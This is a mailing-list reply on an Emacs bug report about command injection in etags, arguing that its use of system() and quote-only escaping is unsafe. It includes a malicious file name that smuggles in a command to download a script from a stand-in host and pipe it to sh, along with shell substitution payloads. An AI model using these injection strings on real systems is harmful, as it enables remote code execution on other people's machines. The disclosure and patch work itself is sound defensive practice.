bug#59817: [PATCH] Fix etags local command injection vulnerability

[lux]

> Please understand: etags is a stable program.  I'm not interested in
> changes that modify its design or implementation in such drastic ways.

I understand, but not completely agree, stable != security.

Why use the system() function? This is a lazy, insecure little trick,
the exec*(such as execvp) function should be used first. We need
execute a command, but we don't need execute a shell script.

Example a case, In my team, some people like automatically pull new
code from code server, and use etags update tags, so I secretly uploaded
a new file, the file name is:

$ touch "';curl myhost|sh #'a.z"

when he automatically update the tags, I hacking his computer.

So, I have two suggestions:

1. don't use system(), unless know what are doing.

2. escape all dangerous characters, just escaping quotes is not
enough, the following characters can perform additional actions:

"$(ls)"
"`ls`"
"${SHELL}"
"$SHELL"

I'm writing a new patch to escape dangerous characters, and test.

Thanks.